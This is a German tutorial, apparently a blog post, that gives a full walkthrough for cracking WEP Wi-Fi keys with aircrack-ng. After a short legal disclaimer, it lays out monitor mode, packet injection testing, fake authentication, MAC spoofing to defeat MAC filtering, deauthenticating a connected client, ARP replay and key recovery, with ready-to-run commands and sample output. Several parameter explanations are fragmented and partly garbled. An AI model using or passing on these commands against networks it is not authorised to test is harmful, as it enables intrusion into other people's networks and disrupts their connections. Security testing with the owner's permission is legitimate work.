Noch einmal zur Wiederholung: das „Knacken“ von Netzwerken ist eine Straftat und wird zivilstrafrechtlich verfolgt. Anders sieht es aus, wenn das eigene Netzwerk ins Visier genommen wird - auch legal ist das Ganze mit fremden Netzwerken, wenn eine schriftliche Erlaubnis der Besitzers vorliegt.
Um erfolgreich Zugriff auf das Netzwerk zu erhalten, gilt es einige Punkte zu beachten:
An Informationen werden darüber hinaus benötigt:
Die Vorgehensweise/das Prinzip ist relativ simpel:
Mithilfe des Monitoring-Modus kann der gesamte Netzwerk-Traffic empfangen werden, anstatt nur die für den Client gedachten Pakete. Dieser Modus ist sehr wichtig und Kernvorraussetzung für das Vorhaben. Unterstützt die Netzwerkkarte - oder genauer gesagt der Treiber der Netzwerkkarte - keinen Monitoring-Modus, so scheitert das Experiment hier. Ebenso wichtig ist es, dass vom Treiber der Netzwerkkarte sogenannte „Injections“ unterstützt werden. Nachdem eine Authentifizierung mit dem Access Point vorgetäuscht wurde, müssen so genannte Initalisierungsvektor-Pakete (IVs) gesammelt werden. Mit vielen dieser IVs kann der WEP-Key berechnet werden. Bei herkömmlichem Netzwerkverkehr werden allerdings nicht sehr viele IVs übertragen - man könnte nun entweder Stunden, Tage, etc. warten oder das Ganze beschleunigen, und genau hier kommen Injections ins Spiel. In diesem Beispiel wird auf eine ARP-Anfrage eines Clients im WLAN-Netz gewartet - wird eine solche vom Rechner, der ja den ganzen Netzwerktraffic mitschneidet, empfangen, schickt er diese Anfrage zurück. Das löst einen nicht aufhörenden Fluss an IVs aus und es können ganz leicht in wenigen Minuten tausende AVs empfangen werden. Somit ist es ohne Probleme möglich in unter 5 Minuten ein WEP-Netzwerk anzugreifen und den Schlüssel zu knacken.
Um nachher lästiges hin- und herschalten zwischen den Kommandozeilen zu vermeiden, empfehle ich die benötigten Informationen gesammelt zu notieren:
MAC-Adresse der eigenen WLAN-Schnittstelle: 00:C1:e1:f3:32:03
Gerätename der eigenen WLAN-Schnittstelle: wlan0
MAC-Adresse (BSSID) des WLAN-Access Points: 00:C0:f3:40:02:21
ESSID (Netzwerkname) des WLAN-Access Points: OHHAI
Kanal des WLAN-Access Points: 11
Zuerst muss für die WLAN-Schnittstelle des Rechners Monitoring aktiviert werden. Zuerst ist es sinnvoll zu überprüfen, ob eventuell automatisch bereits Monitoring aktiviert wurde:
# airmon-ng Interface Chipset Driver wlan0 Atheros ath5k - [phy0]
Wichtig ist hier, dann keine Einträge a la „mon0, mon1, mon2,…
“ vorkommen. Diese bezeichnen virtuelle Monitoring-Schnittstellen und eine solche soll speziell für den Kanal des WLAN-Netzwerkes aktiviert werden - es sollte also vorab kein Monitoring aktiviert sein.
Sind solche Einträge zu finden, müssen diese deaktiviert werden:
# airmon-ng stop mon0 # airmon-ng stop mon1 # airmon-ng stop mon2 ...
Danach wird eine virtuelle Monitoringschnittstelle für das WLAN-Netzwerk gestartet, interessant ist hier der Kanal des Netzwerkes - in unserem Beispiel 11:
# airmon-ng start wlan0 11 Interface Chipset Driver wlan0 Atheros ath5k - [phy0] mon0 Atheros ath5k - [phy0] (monitor mode enabled)
Nach der Aktivierung sollten beide Adapter erkannt werden:
# iwconfig ... wlan0 IEEE 802.11bg ESSID="" Mode:Managed Frequency:2.462 Ghz Access Point:Not-Associated ... mon0 IEEE 802.11bg Mode:Monitor Frequency:2.462 Ghz Tx-Power=27 dBm ...
a, b, g, n
) und die Geschwindigkeit der Netzwerkkarte fest auf die Einstellungen des Access-Points einzustellen, beispielsweise: Kanal 11, b-Standard, 11 Mbit
.
Um später die Wartezeit zu verkürzen, sollte die Funktionalität von Injektions verifiziert werden. Mit dem folgenden Schritt wird sichergestellt, dass diese Technik möglich ist und sich der Client auch in der nötigen Reichweite des Netzwerkes befindet:
# aireplay-ng -9 -e OHHAI -a 00:C0:f3:40:02:21 mon0
-e
definiert die ESSID des Netzwerks (hier OHHAI
)-a
gibt die BSSID des Access Points an (hier 00:C0:f3:40:02:21
)mon0
bezeichnet den Namen der Netzwerkschnittstelle
Wichtig ist hier, dass die Antwort ähnlich der folgenden aussieht:
Waiting for beacon frame (BSSID: 00:C0:f3:40:02:21) on channel 11 Trying broadcast probe requests... Injection is working! Found 1 AP Trying directed probe requests... 00:C0:f3:40:02:21 - channel: 11 - 'OHHAI' 30/30: 100%
Elementar und wichtig sind hier die Zeilen „Injection is working!
“ und „30/30: 100%
“. Erscheint die erste Zeile nicht oder ist in der letzten Zeile ein „30/30: 0%
“ zu lesen, unterstützt der Treiber der Netzwerkkarte keine Injections und das Sammeln von IVs kann sehr viel Zeit in Anspruch nehmen. Ein Blick in die Kompatibilitätslisten (siehe Internetverweise!
) kann hier bei der Recherche nach einer funktionierenden WLAN-KArte behilflich sein. Beinhaltet die letzte Zeile lediglich keine 100% sondern 70% oder mehr, besteht (erstmal
) kein Grund zur Sorge.
Sollte man über sehr viel Geduld und Zeit verfügen kann man aber natürlich auch ohne Injektions vorgehe und einfach warten…
Vom gesamten empfangenen Netzwerktraffic werden nun nur die interessanten IVs mitgeschnitten. Hierfür wird der folgenden Befehl ausgeführt:
airodump-ng -c 11 --bssid 00:C0:f3:40:02:21 -w iv_trace mon0
Kanal 11
)00:C0:f3:40:02:21
)
Dieses Fenster wird nun offen gelassen, für den nächsten Schritt wird ein neues Fenster bzw. ein neuer Konsolentab geöffnet.
Als nächstes wird ein Authentifizierungsvorgang vorgetäuscht, damit die später mittels Injection zugesandten ARP-Pakete nicht verworfen werden.
Bei diesem Vorgang merkt sich der Access-Point die MAC-Adresse des Rechners. Bei Access Points mit MAC-Filterung kann man hier mithilfe des Programms macchanger die MAC-Adresse der Netzwerkschnittstelle auf eine bekannte und erlaubte setzen, beispielsweise die eines bereits in der Vergangenheit verbundenen Gerätes.
Der Vorgang wird wie folgt in die Wege geleitet:
aireplay-ng -1 0 -e OHHAI -a 00:C0:f3:40:02:21 -h 00:C1:e1:f3:32:03 mon0
0
, also gar nicht). Je nach Access Point ist eine Re-Authentifizierung notwendig, da ansonsten die Verbindung getrennt wird.OHHAI
)00:C0:f3:40:02:21
)
Keep Alive
“-Paketen und eine in periodischen Abständen erfolgenden Re-Authentifizierung. Hierfür empfiehlt sich der folgende Aufruf:
aireplay-ng -1 4800 -q 10 -e OHHAI -a 00:C0:f3:40:02:21 -h 00:C1:e1:f3:32:03 mon0
Keep Alive
“-Paketen in Zeitabständen von 10 Sekunden
Ein erfolgreicher Vorgang sieht etwa wie folgt aus:
Waiting for beacon frame (BSSID: 00:C0:f3:40:02:21) on channel 11 Sending Authentication Request Authentication seuccessfull Sending Association Request Association successful :-)
Access Points mit MAC-Filterung können durch folgende Fehlermeldung erkannt werden:
Waiting for beacon frame (BSSID: 00:C0:f3:40:02:21) on channel 11 Sending Authentication Request (Open System) [ACK] AP rejects the source MAC address (00:C1:e1:f3:32:03) ? Authentication failed (code 1)
Abhilfe schafft das Faken der MAC-Adresse, etwa zu einer bekannten MAC-Adresse. Beispielsweise könnte man einige Zeit lang das Netz beobachten und sehen, wenn sich ein Gerät einwählt. Diese MAC-Adresse könnte man dann mittels macchanger setzen:
# macchanger wlan0 -m 4a:d5:3b:b1:h2:de
Danach sollte dieser Schritt fehlerfrei ausgeführt werden können.
Verwendet der Access Point anstatt „Open System Authentification“ allerdings „Shared Key Authentification“, wird eine Verbindung nicht zustande kommen:
Waiting for beacon frame (BSSID: 00:C0:f3:40:02:21) on channel 11 Sending Authentification Request (Open System) [ACK] Switching to shared key authentification Read 50 Pakets... Sending Authentification Request (Shared Key) Sending Authentification Request (Shared Key) [ACK] Authentification 1/2 successful You should specify a xor file (-y) with at least 140 keystreambytes Trying fragmented shared key fake auth. Sending encrypted challenge. [ACK] ... Attack was unsuccessful. Possible reasons: ...
Grund hierfür ist, dass das angeblich sichere „Shared Key“-Prinzip ein wenig anders arbeitet als die „Open System Authentification“.
Abhilfe schafft es, einen Authentifizierungsvorgang eines Clients mitgehört zu haben. Anstatt zu warten, bis ein solcher Vorgang auftritt, kann auch ein bereits verbundener Client durch das Senden eines speziellen Signals mit etwas Glück vom WLAN-Netzwerk getrennt werden:
aireplay -0 0 -a 00:C0:f3:40:02:21 -c 00:c0:f2:f2:31:01 mon0
DeAuth
“ Signals0
) können auch mehrere Signale gesendet werden00:C0:f3:40:02:21
)
Dieser Client muss sich dann wieder verbinden und der Vorgang kann „mitgehört
“ werden. Der Access Point schickt dem Client beispielsweise eine Zufallszahl, welche vom Client verschlüsselt zurückgeschickt wird. Durch diesen Vorgang geraten wir an die unverschlüsselte und verschlüsselte Zahl sowie an einen Initalisierungsvektor, mithilfe welcher nun selbst eine Authentifizierung erprobt werden kann. Das gelingt mittels „aireplay-ng“:
aireplay-ng -1 0 -e OHHAI -y iv_trace*.xor -a 00:C0:f3:40:02:21 -h 00:C1:e1:f3:32:03 mon0
0
, also gar nicht). Je nach Access Point ist eine Re-Authentifizierung notwendig, da ansonsten die Verbindung getrennt wird.OHHAI
)iv_trace*.xor
)00:C0:f3:40:02:21
)
Danach sollte eine Authentifizierung möglich sein:
Waiting for beacon frame (BSSID: 00:C0:f3:40:02:21) on channel 11 Sending Authentification Request (Shared Key) [ACK] Authentification 1/2 successful Sending encrypted challenge. [ACK] Authentification 2/2 successful Sending Association Request [ACK] Association successful :-) (AID: 1)
Eintreffende ARP-Requests können nun wieder in das Netzwerk gesendet werden, um möglichst viele IVs generien zu lassen und empfangen zu können. Hierfür wird aireplay-ng benutzt:
aireplay-ng -3 -b 00:C0:f3:40:02:21 -h 00:C1:e1:f3:32:03 mon0
Injecten
“ von ARP-Anfragen00:C0:f3:40:02:21
)
Wenn nun eine ARP-Anfrage eintrifft, wird sie zurückgeschickt. Der Paketzähler beginnt von nun an rasant zu steigen:
... Read 647623 packets (got 368422 ARP requests), sent 256439 packets...
Nun gilt es, soviele Pakete wie möglich zu sichern. Üblicherweise werden je nach Länge des Passworts zwischen 100.000 und 300.000 Pakete benötigt.
Das Fenster bleibt ebenfalls geöffnet, für den letzten Schritt wird ein weiteres Fenster geöffnet.
Bis genügend Pakete vorhanden sind, kann gelegentlich der folgende Befehl abgesetzt werden:
aircrack-ng -b 00:C0:f3:40:02:21 iv_trace.cap
00:C0:f3:40:02:21
)iv_trace.cap
)
Ein geknackter Key wird etwa wie folgt angezeigt:
Aircrack-ng 0.9 [00:01:21] Tested 295234 keys (got 45232 IVs) KB depth byte(vote) ... ..... ..... KEY FOUND! [ 6A:6E:64:66:38:36:27:3B:6A:73:33:30:63 ] (ASCII: jndf86';js30n ) Decrypted correctly: 100%
Bricht aircrack-ng mit einem „FAIL“ ab oder ist die potenzielle Übereinstimmung nicht auf 100%, sind womöglich noch nicht genügend Pakete vorhanden. In einem solchen Fall einfach noch einige Zeit warten.